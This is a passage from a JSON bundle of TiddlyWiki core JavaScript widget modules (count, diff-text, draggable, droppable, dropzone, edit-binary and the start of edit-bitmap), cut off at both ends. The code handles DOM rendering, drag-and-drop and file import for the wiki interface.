this.getAttribute(\"language\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCodeBlockWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.codeblock = CodeBlockWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/count.js": {
"title": "$:/core/modules/widgets/count.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/count.js\ntype: application/javascript\nmodule-type: widget\n\nCount widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CountWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCountWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCountWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.currentCount);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nCountWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.filter = this.getAttribute(\"filter\");\n\t// Execute the filter\n\tif(this.filter) {\n\t\tthis.currentCount = this.wiki.filterTiddlers(this.filter,this).length;\n\t} else {\n\t\tthis.currentCount = \"0\";\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCountWidget.prototype.refresh = function(changedTiddlers) {\n\t// Re-execute the filter to get the count\n\tthis.computeAttributes();\n\tvar oldCount = this.currentCount;\n\tthis.execute();\n\tif(this.currentCount !== oldCount) {\n\t\t// Regenerate and rerender the widget and replace the existing DOM node\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n\n};\n\nexports.count = CountWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/diff-text.js": {
"title": "$:/core/modules/widgets/diff-text.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/diff-text.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to display a diff between two texts\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget,\n\tdmp = require(\"$:/core/modules/utils/diff-match-patch/diff_match_patch.js\");\n\nvar DiffTextWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDiffTextWidget.prototype = new Widget();\n\nDiffTextWidget.prototype.invisibleCharacters = {\n\t\"\\n\": \"↩︎\\n\",\n\t\"\\r\": \"⇠\",\n\t\"\\t\": \"⇥\\t\"\n};\n\n/*\nRender this widget into the DOM\n*/\nDiffTextWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create the diff\n\tvar dmpObject = new dmp.diff_match_patch(),\n\t\tdiffs = dmpObject.diff_main(this.getAttribute(\"source\"),this.getAttribute(\"dest\"));\n\t// Apply required cleanup\n\tswitch(this.getAttribute(\"cleanup\",\"semantic\")) {\n\t\tcase \"none\":\n\t\t\t// No cleanup\n\t\t\tbreak;\n\t\tcase \"efficiency\":\n\t\t\tdmpObject.diff_cleanupEfficiency(diffs);\n\t\t\tbreak;\n\t\tdefault: // case \"semantic\"\n\t\t\tdmpObject.diff_cleanupSemantic(diffs);\n\t\t\tbreak;\n\t}\n\t// Create the elements\n\tvar domContainer = this.document.createElement(\"div\"), \n\t\tdomDiff = this.createDiffDom(diffs);\n\tparent.insertBefore(domContainer,nextSibling);\n\t// Set variables\n\tthis.setVariable(\"diff-count\",diffs.reduce(function(acc,diff) {\n\t\tif(diff[0] !== dmp.DIFF_EQUAL) {\n\t\t\tacc++;\n\t\t}\n\t\treturn acc;\n\t},0).toString());\n\t// Render child widgets\n\tthis.renderChildren(domContainer,null);\n\t// Render the diff\n\tdomContainer.appendChild(domDiff);\n\t// Save our container\n\tthis.domNodes.push(domContainer);\n};\n\n/*\nCreate DOM elements representing a list of diffs\n*/\nDiffTextWidget.prototype.createDiffDom = function(diffs) {\n\tvar self = this;\n\t// Create the element and assign the attributes\n\tvar domPre = this.document.createElement(\"pre\"),\n\t\tdomCode = this.document.createElement(\"code\");\n\t$tw.utils.each(diffs,function(diff) {\n\t\tvar tag = diff[0] === dmp.DIFF_INSERT ? \"ins\" : (diff[0] === dmp.DIFF_DELETE ? \"del\" : \"span\"),\n\t\t\tclassName = diff[0] === dmp.DIFF_INSERT ? \"tc-diff-insert\" : (diff[0] === dmp.DIFF_DELETE ? \"tc-diff-delete\" : \"tc-diff-equal\"),\n\t\t\tdom = self.document.createElement(tag),\n\t\t\ttext = diff[1],\n\t\t\tcurrPos = 0,\n\t\t\tre = /([\\x00-\\x1F])/mg,\n\t\t\tmatch = re.exec(text),\n\t\t\tspan,\n\t\t\tprintable;\n\t\tdom.className = className;\n\t\twhile(match) {\n\t\t\tif(currPos < match.index) {\n\t\t\t\tdom.appendChild(self.document.createTextNode(text.slice(currPos,match.index)));\n\t\t\t}\n\t\t\tspan = self.document.createElement(\"span\");\n\t\t\tspan.className = \"tc-diff-invisible\";\n\t\t\tprintable = self.invisibleCharacters[match[0]] || (\"[0x\" + match[0].charCodeAt(0).toString(16) + \"]\");\n\t\t\tspan.appendChild(self.document.createTextNode(printable));\n\t\t\tdom.appendChild(span);\n\t\t\tcurrPos = match.index + match[0].length;\n\t\t\tmatch = re.exec(text);\n\t\t}\n\t\tif(currPos < text.length) {\n\t\t\tdom.appendChild(self.document.createTextNode(text.slice(currPos)));\n\t\t}\n\t\tdomCode.appendChild(dom);\n\t});\n\tdomPre.appendChild(domCode);\n\treturn domPre;\n};\n\n/*\nCompute the internal state of the widget\n*/\nDiffTextWidget.prototype.execute = function() {\n\t// Make child widgets\n\tvar parseTreeNodes;\n\tif(this.parseTreeNode && this.parseTreeNode.children && this.parseTreeNode.children.length > 0) {\n\t\tparseTreeNodes = this.parseTreeNode.children;\n\t} else {\n\t\tparseTreeNodes = [{\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: \"$:/language/Diffs/CountMessage\"}\n\t\t\t}\n\t\t}];\n\t}\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDiffTextWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.source || changedAttributes.dest || changedAttributes.cleanup) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports[\"diff-text\"] = DiffTextWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/draggable.js": {
"title": "$:/core/modules/widgets/draggable.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/draggable.js\ntype: application/javascript\nmodule-type: widget\n\nDraggable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DraggableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDraggableWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDraggableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Sanitise the specified tag\n\tvar tag = this.draggableTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"div\";\n\t}\n\t// Create our element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = [\"tc-draggable\"];\n\tif(this.draggableClasses) {\n\t\tclasses.push(this.draggableClasses);\n\t}\n\tdomNode.setAttribute(\"class\",classes.join(\" \"));\n\t// Add event handlers\n\t$tw.utils.makeDraggable({\n\t\tdomNode: domNode,\n\t\tdragTiddlerFn: function() {return self.getAttribute(\"tiddler\");},\n\t\tdragFilterFn: function() {return self.getAttribute(\"filter\");},\n\t\tstartActions: self.startActions,\n\t\tendActions: self.endActions,\n\t\twidget: this\n\t});\n\t// Insert the link into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nDraggableWidget.prototype.execute = function() {\n\t// Pick up our attributes\n\tthis.draggableTag = this.getAttribute(\"tag\",\"div\");\n\tthis.draggableClasses = this.getAttribute(\"class\");\n\tthis.startActions = this.getAttribute(\"startactions\");\n\tthis.endActions = this.getAttribute(\"endactions\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDraggableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tag || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.draggable = DraggableWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/droppable.js": {
"title": "$:/core/modules/widgets/droppable.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/droppable.js\ntype: application/javascript\nmodule-type: widget\n\nDroppable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DroppableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDroppableWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDroppableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.droppableTag && $tw.config.htmlUnsafeElements.indexOf(this.droppableTag) === -1) {\n\t\ttag = this.droppableTag;\n\t}\n\t// Create element and assign classes\n\tvar domNode = this.document.createElement(tag),\n\t\tclasses = (this[\"class\"] || \"\").split(\" \");\n\tclasses.push(\"tc-droppable\");\n\tdomNode.className = classes.join(\" \");\n\t// Add event handlers\n\tif(this.droppableEnable) {\n\t\t$tw.utils.addEventListeners(domNode,[\n\t\t\t{name: \"dragenter\", handlerObject: this, handlerMethod: \"handleDragEnterEvent\"},\n\t\t\t{name: \"dragover\", handlerObject: this, handlerMethod: \"handleDragOverEvent\"},\n\t\t\t{name: \"dragleave\", handlerObject: this, handlerMethod: \"handleDragLeaveEvent\"},\n\t\t\t{name: \"drop\", handlerObject: this, handlerMethod: \"handleDropEvent\"}\n\t\t]);\t\t\n\t}\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n\t// Stack of outstanding enter/leave events\n\tthis.currentlyEntered = [];\n};\n\nDroppableWidget.prototype.enterDrag = function(event) {\n\tif(this.currentlyEntered.indexOf(event.target) === -1) {\n\t\tthis.currentlyEntered.push(event.target);\n\t}\n\t// If we're entering for the first time we need to apply highlighting\n\t$tw.utils.addClass(this.domNodes[0],\"tc-dragover\");\n};\n\nDroppableWidget.prototype.leaveDrag = function(event) {\n\tvar pos = this.currentlyEntered.indexOf(event.target);\n\tif(pos !== -1) {\n\t\tthis.currentlyEntered.splice(pos,1);\n\t}\n\t// Remove highlighting if we're leaving externally. The hacky second condition is to resolve a problem with Firefox whereby there is an erroneous dragenter event if the node being dragged is within the dropzone\n\tif(this.currentlyEntered.length === 0 || (this.currentlyEntered.length === 1 && this.currentlyEntered[0] === $tw.dragInProgress)) {\n\t\tthis.currentlyEntered = [];\n\t\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t}\n};\n\nDroppableWidget.prototype.handleDragEnterEvent = function(event) {\n\tthis.enterDrag(event);\n\t// Tell the browser that we're ready to handle the drop\n\tevent.preventDefault();\n\t// Tell the browser not to ripple the drag up to any parent drop handlers\n\tevent.stopPropagation();\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDragOverEvent = function(event) {\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Tell the browser that we're still interested in the drop\n\tevent.preventDefault();\n\t// Set the drop effect\n\tevent.dataTransfer.dropEffect = this.droppableEffect;\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDragLeaveEvent = function(event) {\n\tthis.leaveDrag(event);\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDropEvent = function(event) {\n\tvar self = this;\n\tthis.leaveDrag(event);\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\tvar dataTransfer = event.dataTransfer;\n\t// Remove highlighting\n\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t// Try to import the various data types we understand\n\t$tw.utils.importDataTransfer(dataTransfer,null,function(fieldsArray) {\n\t\tfieldsArray.forEach(function(fields) {\n\t\t\tself.performActions(fields.title || fields.text,event);\n\t\t});\n\t});\n\t// Tell the browser that we handled the drop\n\tevent.preventDefault();\n\t// Stop the drop ripple up to any parent handlers\n\tevent.stopPropagation();\n\treturn false;\n};\n\nDroppableWidget.prototype.performActions = function(title,event) {\n\tif(this.droppableActions) {\n\t\tvar modifierKey = event.ctrlKey && ! event.shiftKey ? \"ctrl\" : event.shiftKey && !event.ctrlKey ? \"shift\" : \n\t\t\t\tevent.ctrlKey && event.shiftKey ? \"ctrl-shift\" : \"normal\" ;\n\t\tthis.invokeActionString(this.droppableActions,this,event,{actionTiddler: title, modifier: modifierKey});\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nDroppableWidget.prototype.execute = function() {\n\tthis.droppableActions = this.getAttribute(\"actions\");\n\tthis.droppableEffect = this.getAttribute(\"effect\",\"copy\");\n\tthis.droppableTag = this.getAttribute(\"tag\");\n\tthis.droppableClass = this.getAttribute(\"class\");\n\tthis.droppableEnable = (this.getAttribute(\"enable\") || \"yes\") === \"yes\";\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDroppableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"class\"] || changedAttributes.tag || changedAttributes.enable) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.droppable = DroppableWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/dropzone.js": {
"title": "$:/core/modules/widgets/dropzone.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/dropzone.js\ntype: application/javascript\nmodule-type: widget\n\nDropzone widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DropZoneWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDropZoneWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDropZoneWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar domNode = this.document.createElement(\"div\");\n\tdomNode.className = this.dropzoneClass || \"tc-dropzone\";\n\t// Add event handlers\n\tif(this.dropzoneEnable) {\n\t\t$tw.utils.addEventListeners(domNode,[\n\t\t\t{name: \"dragenter\", handlerObject: this, handlerMethod: \"handleDragEnterEvent\"},\n\t\t\t{name: \"dragover\", handlerObject: this, handlerMethod: \"handleDragOverEvent\"},\n\t\t\t{name: \"dragleave\", handlerObject: this, handlerMethod: \"handleDragLeaveEvent\"},\n\t\t\t{name: \"drop\", handlerObject: this, handlerMethod: \"handleDropEvent\"},\n\t\t\t{name: \"paste\", handlerObject: this, handlerMethod: \"handlePasteEvent\"},\n\t\t\t{name: \"dragend\", handlerObject: this, handlerMethod: \"handleDragEndEvent\"}\n\t\t]);\t\t\n\t}\n\tdomNode.addEventListener(\"click\",function (event) {\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n\t// Stack of outstanding enter/leave events\n\tthis.currentlyEntered = [];\n};\n\nDropZoneWidget.prototype.enterDrag = function(event) {\n\tif(this.currentlyEntered.indexOf(event.target) === -1) {\n\t\tthis.currentlyEntered.push(event.target);\n\t}\n\t// If we're entering for the first time we need to apply highlighting\n\t$tw.utils.addClass(this.domNodes[0],\"tc-dragover\");\n};\n\nDropZoneWidget.prototype.leaveDrag = function(event) {\n\tvar pos = this.currentlyEntered.indexOf(event.target);\n\tif(pos !== -1) {\n\t\tthis.currentlyEntered.splice(pos,1);\n\t}\n\t// Remove highlighting if we're leaving externally\n\tif(this.currentlyEntered.length === 0) {\n\t\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t}\n};\n\nDropZoneWidget.prototype.handleDragEnterEvent = function(event) {\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\tthis.enterDrag(event);\n\t// Tell the browser that we're ready to handle the drop\n\tevent.preventDefault();\n\t// Tell the browser not to ripple the drag up to any parent drop handlers\n\tevent.stopPropagation();\n};\n\nDropZoneWidget.prototype.handleDragOverEvent = function(event) {\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\t// Tell the browser that we're still interested in the drop\n\tevent.preventDefault();\n\tevent.dataTransfer.dropEffect = \"copy\"; // Explicitly show this is a copy\n};\n\nDropZoneWidget.prototype.handleDragLeaveEvent = function(event) {\n\tthis.leaveDrag(event);\n};\n\nDropZoneWidget.prototype.handleDragEndEvent = function(event) {\n\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n};\n\nDropZoneWidget.prototype.handleDropEvent = function(event) {\n\tvar self = this,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t};\n\tthis.leaveDrag(event);\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Check for this window being the source of the drag\n\tif($tw.dragInProgress) {\n\t\treturn false;\n\t}\n\tvar self = this,\n\t\tdataTransfer = event.dataTransfer;\n\t// Remove highlighting\n\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t// Import any files in the drop\n\tvar numFiles = 0;\n\tif(dataTransfer.files) {\n\t\tnumFiles = this.wiki.readFiles(dataTransfer.files,{\n\t\t\tcallback: readFileCallback,\n\t\t\tdeserializer: this.dropzoneDeserializer\n\t\t});\n\t}\n\t// Try to import the various data types we understand\n\tif(numFiles === 0) {\n\t\t$tw.utils.importDataTransfer(dataTransfer,this.wiki.generateNewTitle(\"Untitled\"),readFileCallback);\n\t}\n\t// Tell the browser that we handled the drop\n\tevent.preventDefault();\n\t// Stop the drop ripple up to any parent handlers\n\tevent.stopPropagation();\n};\n\nDropZoneWidget.prototype.handlePasteEvent = function(event) {\n\tvar self = this,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t};\n\t// Let the browser handle it if we're in a textarea or input box\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) == -1 && !event.target.isContentEditable) {\n\t\tvar self = this,\n\t\t\titems = event.clipboardData.items;\n\t\t// Enumerate the clipboard items\n\t\tfor(var t = 0; t<items.length; t++) {\n\t\t\tvar item = items[t];\n\t\t\tif(item.kind === \"file\") {\n\t\t\t\t// Import any files\n\t\t\t\tthis.wiki.readFile(item.getAsFile(),{\n\t\t\t\t\tcallback: readFileCallback,\n\t\t\t\t\tdeserializer: this.dropzoneDeserializer\n\t\t\t\t});\n\t\t\t} else if(item.kind === \"string\") {\n\t\t\t\t// Create tiddlers from string items\n\t\t\t\tvar type = item.type;\n\t\t\t\titem.getAsString(function(str) {\n\t\t\t\t\tvar tiddlerFields = {\n\t\t\t\t\t\ttitle: self.wiki.generateNewTitle(\"Untitled\"),\n\t\t\t\t\t\ttext: str,\n\t\t\t\t\t\ttype: type\n\t\t\t\t\t};\n\t\t\t\t\tif($tw.log.IMPORT) {\n\t\t\t\t\t\tconsole.log(\"Importing string '\" + str + \"', type: '\" + type + \"'\");\n\t\t\t\t\t}\n\t\t\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify([tiddlerFields])});\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\t// Tell the browser that we've handled the paste\n\t\tevent.stopPropagation();\n\t\tevent.preventDefault();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nDropZoneWidget.prototype.execute = function() {\n\tthis.dropzoneClass = this.getAttribute(\"class\");\n\tthis.dropzoneDeserializer = this.getAttribute(\"deserializer\");\n\tthis.dropzoneEnable = (this.getAttribute(\"enable\") || \"yes\") === \"yes\";\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDropZoneWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.enable) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.dropzone = DropZoneWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/edit-binary.js": {
"title": "$:/core/modules/widgets/edit-binary.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/edit-binary.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-binary widget; placeholder for editing binary tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar BINARY_WARNING_MESSAGE = \"$:/core/ui/BinaryWarning\";\nvar EXPORT_BUTTON_IMAGE = \"$:/core/images/export-button\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditBinaryWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditBinaryWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditBinaryWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEditBinaryWidget.prototype.execute = function() {\n\t// Get our parameters\n\tvar editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tvar tiddler = this.wiki.getTiddler(editTitle);\n\tvar type = tiddler.fields.type;\n\tvar text = tiddler.fields.text;\n\t// Transclude the binary data tiddler warning message\n\tvar warn = {\n\t\ttype: \"element\",\n\t\ttag: \"p\",\n\t\tchildren: [{\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: BINARY_WARNING_MESSAGE}\n\t\t\t}\n\t\t}]\n\t};\n\t// Create download link based on draft tiddler title\n\tvar link = {\n\t\ttype: \"element\",\n\t\ttag: \"a\",\n\t\tattributes: {\n\t\t\ttitle: {type: \"indirect\", textReference: \"!!draft.title\"},\n\t\t\tdownload: {type: \"indirect\", textReference: \"!!draft.title\"}\n\t\t},\n\t\tchildren: [{\n\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: EXPORT_BUTTON_IMAGE}\n\t\t\t}\n\t\t}]\n\t};\n\t// Set the link href to internal data URI (no external)\n\tif(text) {\n\t\tlink.attributes.href = {\n\t\t\ttype: \"string\", \n\t\t\tvalue: \"data:\" + type + \";base64,\" + text\n\t\t};\n\t}\n\t// Combine warning message and download link in a div\n\tvar element = {\n\t\ttype: \"element\",\n\t\ttag: \"div\",\n\t\tattributes: {\n\t\t\tclass: {type: \"string\", value: \"tc-binary-warning\"}\n\t\t},\n\t\tchildren: [warn, link]\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets([element]);\n};\n\n/*\nRefresh by refreshing our child widget\n*/\nEditBinaryWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports[\"edit-binary\"] = EditBinaryWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/edit-bitmap.js": {
"title": "$:/core/modules/widgets/edit-bitmap.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/edit-bitmap.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-bitmap widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Default image sizes\nvar DEFAULT_IMAGE_WIDTH = 600,\n\tDEFAULT_IMAGE_HEIGHT = 370,\n\tDEFAULT_IMAGE_TYPE = \"image/png\";\n\n// Configuration tiddlers\nvar LINE_WIDTH_TITLE = \"$:/config/BitmapEditor/LineWidth\",\n\tLINE_COLOUR_TITLE = \"$:/config/BitmapEditor/Colour\",\n\tLINE_OPACITY_TITLE = \"$:/config/BitmapEditor/Opacity\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditBitmapWidget = function(parseTreeNode,options) {\n\t// Initialise the editor operations if they've not been done already\n\tif(!this.editorOperations) {\n\t\tEditBitmapWidget.prototype.editorOperations = {};\n\t\t$tw.modules.applyMethods(\"bitmapeditoroperation\",this.editorOperations);\n\t}\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditBitmapWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditBitmapWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create the wrapper for the toolbar and render its content\n\tthis.toolbarNode = this.document.createElement(\"div\");\n\tthis.toolbarNode.className = \"tc-editor-toolbar\";\n\tparent.insertBefore(this.toolbarNode,nextSibling);\n\tthis.domNodes.push(this.toolbarNode);\n\t// Create the on-screen canvas\n\tthis.canvasDomNode = $tw.utils.domMaker(\"canvas\",{\n\t\tdocument: this.document,\n\t\t\"class\":\"tc-edit-bitmapeditor\",\n\t\teventListeners: [{\n\t\t\tname: \"touchstart\", handlerObject: this, handlerMethod: \"handleTouchStartEvent\"\n\t\t},{\n\t\t\tname: \"touchmove\", handlerObject: this, handlerMethod: \"handleTouchMoveEvent\"\n\t\t},{\n\t\t\tname: \"touchend\", handlerObject: this, handlerMethod: \"handleTouchEndEvent\"\n\t\t},{\n\t\t\tname: \"mousedown\", handlerObject: this, handlerMethod: \"handleMouseDownEvent\"\n\t\t},{\n\t\t\tname: \"mousemove\", handlerObject: this, handlerMethod: \"handleMouseMoveEvent\"\n\t\t},{\n\t\t\tname: \"mouseup\", handlerObject: this, handlerMethod: \"handleMouseUpEvent\"\n\t\t}]\n\t});\n\t// Set the width and height variables\n\tthis.setVariable(\"tv-bitmap-editor-width\",this.canvasDomNode.width + \"px\");\n\tthis.setVariable(\"tv-bitmap-editor-height\",this.canvasDomNode.height + \"px\");\n\t// Render toolbar child widgets\n\tthis.renderChildren(this.toolbarNode,null);\n\t// // Insert the elements into the DOM\n\tparent.insertBefore(this.canvasDomNode,nextSibling);\n\tthis.domNodes.push(this.canvasDomNode);\n\t// Load the image into the canvas\n\tif($tw.browser) {\n\t\tthis.loadCanvas();\n\t}\n\t// Add widget message listeners\n\tthis.addEventListeners([\n\t\t{type: \"tm-edit-bitmap-operation\", handler: \"handleEditBitmapOperationMessage\"}\n\t]);\n};\n\n/*\nHandle an edit bitmap operation message from the toolbar\n*/\nEditBitmapWidget.prototype.handleEditBitmapOperationMessage = function(event) {\n\t// Invoke the handler\n\tvar handler = this.editorOperations[event.param];\n\tif(handler) {\n\t\thandler.call(this,event);\n\t}\n};\n\n/*\nCompute the internal state of the 